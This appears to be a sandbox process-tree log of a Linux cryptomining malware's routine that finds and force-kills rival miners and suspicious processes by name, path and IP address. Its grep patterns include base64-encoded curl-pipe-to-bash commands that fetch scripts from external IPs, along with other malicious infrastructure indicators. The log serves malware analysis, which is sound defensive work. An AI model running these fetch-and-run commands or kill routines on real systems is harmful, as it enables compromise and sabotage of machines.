/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1045
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1044
-
-
/bin/grepgrep AgdgACUD2⤵PID:1043
-
-
/bin/grepgrep -v grep2⤵PID:1042
-
-
/bin/psps aux2⤵PID:1041
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1052
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1051
-
-
/bin/grepgrep uiZvwxG82⤵PID:1050
-
-
/bin/grepgrep -v grep2⤵PID:1049
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1048
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1059
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1058
-
-
/bin/grepgrep hahwNEdB2⤵PID:1057
-
-
/bin/grepgrep -v grep2⤵PID:1056
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1055
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1066
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1065
-
-
/bin/grepgrep BtwXn5qH2⤵PID:1064
-
-
/bin/grepgrep -v grep2⤵PID:1063
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1062
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1072
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1071
-
-
/bin/grepgrep 3XEzey2T2⤵PID:1070
-
-
/bin/grepgrep -v grep2⤵PID:1069
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1068
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1081
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1080
-
-
/bin/grepgrep t2tKrCSZ2⤵PID:1079
-
-
/bin/grepgrep -v grep2⤵PID:1078
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1077
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1090
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1089
-
-
/bin/grepgrep HD7fcBgg2⤵PID:1088
-
-
/bin/grepgrep -v grep2⤵PID:1087
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1086
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1095
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1094
-
-
/bin/grepgrep zXcDajSs2⤵PID:1093
-
-
/bin/grepgrep -v grep2⤵PID:1092
-
-
/bin/psps aux2⤵PID:1091
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1103
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1102
-
-
/bin/grepgrep 3lmigMo2⤵PID:1101
-
-
/bin/grepgrep -v grep2⤵PID:1100
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1099
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1111
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1110
-
-
/bin/grepgrep AkMK4A22⤵PID:1109
-
-
/bin/grepgrep -v grep2⤵PID:1108
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1107
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1118
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1117
-
-
/bin/grepgrep AJ2AkKe2⤵PID:1116
-
-
/bin/grepgrep -v grep2⤵PID:1115
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1114
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1125
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1124
-
-
/bin/grepgrep HiPxCJRS2⤵
- System Network Configuration Discovery
PID:1123
-
-
/bin/grepgrep -v grep2⤵PID:1122
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:1121
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1131
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1130
-
-
/bin/grepgrep http_0xCC0302⤵PID:1129
-
-
/bin/grepgrep -v grep2⤵PID:1128
-
-
/bin/psps aux2⤵PID:1127
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1137
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1136
-
-
/bin/grepgrep http_0xCC0312⤵PID:1135
-
-
/bin/grepgrep -v grep2⤵PID:1134
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1133
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1142
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1141
-
-
/bin/grepgrep http_0xCC0322⤵PID:1140
-
-
/bin/grepgrep -v grep2⤵PID:1139
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1138
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1148
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1147
-
-
/bin/grepgrep http_0xCC0332⤵PID:1146
-
-
/bin/grepgrep -v grep2⤵PID:1145
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1144
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1153
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1152
-
-
/bin/grepgrep C4iLM4L2⤵PID:1151
-
-
/bin/grepgrep -v grep2⤵PID:1150
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1149
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1158
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1157
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵
- System Network Configuration Discovery
PID:1156
-
-
/bin/grepgrep -v grep2⤵PID:1155
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:1154
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1162
-
-
/bin/grepgrep -v grep2⤵PID:1160
-
-
/usr/bin/awkawk "{ if(substr(\$11,1,2)==\"./\" && substr(\$12,1,2)==\"./\") print \$2 }"2⤵PID:1161
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1159
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1167
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1166
-
-
/bin/grepgrep /boot/vmlinuz2⤵PID:1165
-
-
/bin/grepgrep -v grep2⤵PID:1164
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1163
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1172
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1171
-
-
/bin/grepgrep i4b503a52cc52⤵PID:1170
-
-
/bin/grepgrep -v grep2⤵PID:1169
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1168
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1177
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1176
-
-
/bin/grepgrep dgqtrcst23rtdi3ldqk322j22⤵PID:1175
-
-
/bin/grepgrep -v grep2⤵PID:1174
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1173
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1182
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1181
-
-
/bin/grepgrep 2g0uv7npuhrlatd2⤵PID:1180
-
-
/bin/grepgrep -v grep2⤵PID:1179
-
-
/bin/psps aux2⤵PID:1178
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1187
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1186
-
-
/bin/grepgrep nqscheduler2⤵PID:1185
-
-
/bin/grepgrep -v grep2⤵PID:1184
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1183
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1192
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1191
-
-
/bin/grepgrep rkebbwgqpl4npmm2⤵PID:1190
-
-
/bin/grepgrep -v grep2⤵PID:1189
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1188
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1198
-
-
/usr/bin/awkawk "\$3>10.0{print \$2}"2⤵PID:1197
-
-
/bin/grepgrep "]"2⤵PID:1196
-
-
/bin/grepgrep -v aux2⤵PID:1195
-
-
/bin/grepgrep -v grep2⤵PID:1194
-
-
/bin/psps aux2⤵PID:1193
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1203
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1202
-
-
/bin/grepgrep 2fhtu70teuhtoh78jc5s2⤵PID:1201
-
-
/bin/grepgrep -v grep2⤵PID:1200
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1199
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1208
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1207
-
-
/bin/grepgrep 0kwti6ut420t2⤵PID:1206
-
-
/bin/grepgrep -v grep2⤵PID:1205
-
-
/bin/psps aux2⤵PID:1204
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1213
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1212
-
-
/bin/grepgrep 44ct7udt0patws3agkdfqnjm2⤵PID:1211
-
-
/bin/grepgrep -v grep2⤵PID:1210
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1209
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1220
-
-
/usr/bin/awkawk "length(\$11)>19{print \$2}"2⤵PID:1219
-
-
/bin/grepgrep -v _2⤵PID:1218
-
-
/bin/grepgrep -v -2⤵PID:1217
-
-
/bin/grepgrep -v /2⤵PID:1216
-
-
/bin/grepgrep -v grep2⤵PID:1215
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1214
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1225
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1224
-
-
/bin/grepgrep "\\[^"2⤵PID:1223
-
-
/bin/grepgrep -v grep2⤵PID:1222
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1221
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1230
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1229
-
-
/bin/grepgrep rsync2⤵PID:1228
-
-
/bin/grepgrep -v grep2⤵PID:1227
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1226
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1235
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1234
-
-
/bin/grepgrep watchd0g2⤵PID:1233
-
-
/bin/grepgrep -v grep2⤵PID:1232
-
-
/bin/psps aux2⤵PID:1231
-
-
/bin/grepgrep -v grep2⤵PID:1237
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:1236
-
-
/bin/egrepegrep "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1238
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1239
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1240
-
-
/usr/local/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1238
-
-
/usr/local/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1238
-
-
/usr/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1238
-
-
/usr/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1238
-
-
/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1238
-
-
/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1238
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1245
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1244
-
-
/bin/grepgrep 158.69.133.18:82202⤵PID:1243
-
-
/bin/grepgrep -v grep2⤵PID:1242
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1241
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1250
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1249
-
-
/bin/grepgrep /tmp/java2⤵PID:1248
-
-
/bin/grepgrep -v grep2⤵PID:1247
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1246
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1255
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1254
-
-
/bin/grepgrep gitee.com2⤵PID:1253
-
-
/bin/grepgrep -v grep2⤵PID:1252
-
-
/bin/psps aux2⤵PID:1251
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1260
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1259
-
-
/bin/grepgrep /tmp/java2⤵PID:1258
-
-
/bin/grepgrep -v grep2⤵PID:1257
-
-
/bin/psps aux2⤵PID:1256
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1265
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1264
-
-
/bin/grepgrep 104.248.4.1622⤵PID:1263
-
-
/bin/grepgrep -v grep2⤵PID:1262
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1261
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1270
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1269
-
-
/bin/grepgrep 89.35.39.782⤵PID:1268
-
-
/bin/grepgrep -v grep2⤵PID:1267
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1266
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1275
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1274
-
-
/bin/grepgrep /dev/shm/z3.sh2⤵PID:1273
-
-
/bin/grepgrep -v grep2⤵PID:1272
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1271
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1280
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1279
-
-
/bin/grepgrep kthrotlds2⤵PID:1278
-
-
/bin/grepgrep -v grep2⤵PID:1277
-
-
/bin/psps aux2⤵PID:1276
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1286
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1285
-
-
/bin/grepgrep ksoftirqds2⤵PID:1284
-
-
/bin/grepgrep -v grep2⤵PID:1283
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1282
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1292
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1291
-
-
/bin/grepgrep netdns2⤵PID:1290
-
-
/bin/grepgrep -v grep2⤵PID:1289
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1288
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1299
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1298
-
-
/bin/grepgrep watchdogs2⤵PID:1297
-
-
/bin/grepgrep -v grep2⤵PID:1296
-
-
/bin/psps aux2⤵PID:1295
-
-
/bin/grepgrep -v atd2⤵PID:1309
-
-
/bin/grepgrep -v dblaunchs2⤵PID:1306
-
-
/bin/grepgrep -v dblaunch2⤵PID:1305
-
-
/usr/bin/awkawk "\$3>80.0{print \$2}"2⤵PID:1311
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1312
-
-
/bin/grepgrep -v root2⤵PID:1304
-
-
/bin/grepgrep -v salt-minions2⤵PID:1310
-
-
/bin/grepgrep -v grep2⤵PID:1303
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1302
-
-
/bin/grepgrep -v dblaunched2⤵PID:1307
-
-
/bin/grepgrep -v apache22⤵PID:1308
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1313
-
-
/bin/grepgrep -v grep2⤵PID:1314
-
-
/bin/grepgrep -v aux2⤵PID:1315
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1317
-
-
/bin/grepgrep " ps"2⤵PID:1316
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1318
-
-
/bin/grepgrep sync_supers2⤵PID:1322
-
-
/bin/grepgrep -v grep2⤵PID:1321
-
-
/bin/psps aux2⤵PID:1320
-
-
/usr/bin/cutcut -c 9-152⤵PID:1323
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1324
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1330
-
-
/usr/bin/cutcut -c 9-152⤵PID:1329
-
-
/bin/grepgrep cpuset2⤵PID:1328
-
-
/bin/grepgrep -v grep2⤵PID:1327
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1326
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1338
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1337
-
-
/bin/grepgrep "x]"2⤵PID:1336
-
-
/bin/grepgrep -v aux2⤵PID:1335
-
-
/bin/grepgrep -v grep2⤵PID:1334
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1333
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1346
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1345
-
-
/bin/grepgrep "sh] <"2⤵PID:1344
-
-
/bin/grepgrep -v aux2⤵PID:1343
-
-
/bin/grepgrep -v grep2⤵PID:1342
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
- Reads runtime system information
PID:1341
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1353
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1352
-
-
/bin/grepgrep " \\[]"2⤵PID:1351
-
-
/bin/grepgrep -v aux2⤵PID:1350
-
-
/bin/grepgrep -v grep2⤵PID:1349
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1348
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1359
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1358
-
-
/bin/grepgrep /tmp/l.sh2⤵PID:1357
-
-
/bin/grepgrep -v grep2⤵PID:1356
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1355
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1366
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1365
-
-
/bin/grepgrep /tmp/zmcat2⤵PID:1364
-
-
/bin/grepgrep -v grep2⤵PID:1363
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1362
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1373
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1372
-
-
/bin/grepgrep hahwNEdB2⤵PID:1371
-
-
/bin/grepgrep -v grep2⤵PID:1370
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1369
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1379
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1378
-
-
/bin/grepgrep CnzFVPLF2⤵PID:1377
-
-
/bin/grepgrep -v grep2⤵PID:1376
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1375
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1385
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1384
-
-
/bin/grepgrep CvKzzZLs2⤵PID:1383
-
-
/bin/grepgrep -v grep2⤵PID:1382
-
-
/bin/psps aux2⤵PID:1381
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1392
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1391
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵
- System Network Configuration Discovery
PID:1390
-
-
/bin/grepgrep -v grep2⤵PID:1389
-
-
/bin/psps aux2⤵PID:1388
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1399
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1398
-
-
/bin/grepgrep /tmp/udevd2⤵PID:1397
-
-
/bin/grepgrep -v grep2⤵PID:1396
-
-
/bin/psps aux2⤵PID:1395
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1405
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1404
-
-
/bin/grepgrep KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA2⤵PID:1403
-
-
/bin/grepgrep -v grep2⤵PID:1402
-
-
/bin/psps aux2⤵PID:1401
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1411
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1410
-
-
/bin/grepgrep Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo2⤵PID:1409
-
-
/bin/grepgrep -v grep2⤵PID:1408
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1407
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1418
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1417
-
-
/bin/grepgrep sustse2⤵PID:1416
-
-
/bin/grepgrep -v grep2⤵PID:1415
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1414
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1424
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1423
-
-
/bin/grepgrep sustse32⤵PID:1422
-
-
/bin/grepgrep -v grep2⤵PID:1421
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1420
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1431
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1430
-
-
/bin/grepgrep wget2⤵PID:1429
-
-
/bin/grepgrep mr.sh2⤵PID:1428
-
-
/bin/grepgrep -v grep2⤵PID:1427
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1426
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1437
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1436
-
-
/bin/grepgrep curl2⤵PID:1435
-
-
/bin/grepgrep mr.sh2⤵PID:1434
-
-
/bin/grepgrep -v grep2⤵PID:1433
-
-
/bin/psps aux2⤵PID:1432
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1443
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1442
-
-
/bin/grepgrep wget2⤵PID:1441
-
-
/bin/grepgrep 2mr.sh2⤵PID:1440
-
-
/bin/grepgrep -v grep2⤵PID:1439
-
-
/bin/psps aux2⤵PID:1438
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1449
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1448
-
-
/bin/grepgrep curl2⤵PID:1447
-
-
/bin/grepgrep 2mr.sh2⤵PID:1446
-
-
/bin/grepgrep -v grep2⤵PID:1445
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1444
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1455
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1454
-
-
/bin/grepgrep wget2⤵PID:1453
-
-
/bin/grepgrep cr5.sh2⤵PID:1452
-
-
/bin/grepgrep -v grep2⤵PID:1451
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1450
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1461
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1460
-
-
/bin/grepgrep curl2⤵PID:1459
-
-
/bin/grepgrep cr5.sh2⤵PID:1458
-
-
/bin/grepgrep -v grep2⤵PID:1457
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1456
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1467
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1466
-
-
/bin/grepgrep wget2⤵PID:1465
-
-
/bin/grepgrep logo9.jpg2⤵PID:1464
-
-
/bin/grepgrep -v grep2⤵PID:1463
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1462
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1473
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1472
-
-
/bin/grepgrep curl2⤵PID:1471
-
-
/bin/grepgrep logo9.jpg2⤵PID:1470
-
-
/bin/grepgrep -v grep2⤵PID:1469
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1468
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1478
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1477
-
-
/bin/grepgrep j2.conf2⤵PID:1476
-
-
/bin/grepgrep -v grep2⤵PID:1475
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1474
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1484
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1483
-
-
/bin/grepgrep wget2⤵PID:1482
-
-
/bin/grepgrep luk-cpu2⤵PID:1481
-
-
/bin/grepgrep -v grep2⤵PID:1480
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1479
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1490
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1489
-
-
/bin/grepgrep curl2⤵PID:1488
-
-
/bin/grepgrep luk-cpu2⤵PID:1487
-
-
/bin/grepgrep -v grep2⤵PID:1486
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1485
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1496
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1495
-
-
/bin/grepgrep wget2⤵PID:1494
-
-
/bin/grepgrep ficov2⤵PID:1493
-
-
/bin/grepgrep -v grep2⤵PID:1492
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1491
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1502
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1501
-
-
/bin/grepgrep curl2⤵PID:1500
-
-
/bin/grepgrep ficov2⤵PID:1499
-
-
/bin/grepgrep -v grep2⤵PID:1498
-
-
/bin/psps aux2⤵PID:1497
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1508
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1507
-
-
/bin/grepgrep wget2⤵PID:1506
-
-
/bin/grepgrep he.sh2⤵PID:1505
-
-
/bin/grepgrep -v grep2⤵PID:1504
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1503
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1514
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1513
-
-
/bin/grepgrep curl2⤵PID:1512
-
-
/bin/grepgrep he.sh2⤵PID:1511
-
-
/bin/grepgrep -v grep2⤵PID:1510
-
-
/bin/psps aux2⤵PID:1509
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1520
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1519
-
-
/bin/grepgrep wget2⤵PID:1518
-
-
/bin/grepgrep miner.sh2⤵PID:1517
-
-
/bin/grepgrep -v grep2⤵PID:1516
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1515
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1526
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1525
-
-
/bin/grepgrep curl2⤵PID:1524
-
-
/bin/grepgrep miner.sh2⤵PID:1523
-
-
/bin/grepgrep -v grep2⤵PID:1522
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:1521
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1532
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1531
-
-
/bin/grepgrep wget2⤵PID:1530
-
-
/bin/grepgrep nullcrew2⤵PID:1529
-
-
/bin/grepgrep -v grep2⤵PID:1528
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1527
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1538
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1537
-
-
/bin/grepgrep curl2⤵PID:1536
-
-
/bin/grepgrep nullcrew2⤵PID:1535
-
-
/bin/grepgrep -v grep2⤵PID:1534
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1533
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1543
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1542
-
-
/bin/grepgrep 107.174.47.1562⤵PID:1541
-
-
/bin/grepgrep -v grep2⤵PID:1540
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:1539
-
-
